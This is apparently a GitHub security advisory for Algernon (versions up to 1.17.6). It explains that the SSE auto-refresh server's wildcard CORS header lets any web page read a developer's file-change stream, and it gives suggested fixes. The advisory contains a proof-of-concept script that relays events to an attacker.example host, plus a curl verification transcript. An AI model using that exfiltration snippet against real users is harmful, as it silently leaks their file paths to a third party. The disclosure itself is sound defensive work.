GHSA-hw27-4v2q-5qffMediumCVSS 4.3
Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *
🔗 CVE IDs covered (1)
📋 Description
### Summary
The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.
This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.
### Details
#### Root cause — hard-coded `"*"` passed as the CORS allowed-origin
```go
// engine/config.go (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)
```
The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:
```go
// vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
return func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
w.Header().Set("Access-Control-Allow-Origin", allowed)
...
}
}
```
There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.
#### Why the wildcard is exploitable
`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.
So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:
```html
<!doctype html>
<script>
const s = new EventSource('http://127.0.0.1:5553/sse');
s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>
```
The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects.
### PoC (against 1.17.6)
```bash
# 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
# The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
# Access-Control-Allow-Origin: *, browser passes message events to the
# cross-origin script; script ships filenames to attacker.example.
```
CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.
### Impact
- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
- **Integrity:** none.
- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).
### Suggestions to fix
**Primary fix — echo a same-origin allow-list instead of `*`.**
```go
// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")
```
The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.
**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.
### Live verification
```
$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
sleep 1
echo "trigger" >> poc2/site/probe.txt
wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt
```
The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://<algernon>:5553/sse")` and read the stream.
🎯 Affected products1
- go/github.com/xyproto/algernon:<= 1.17.6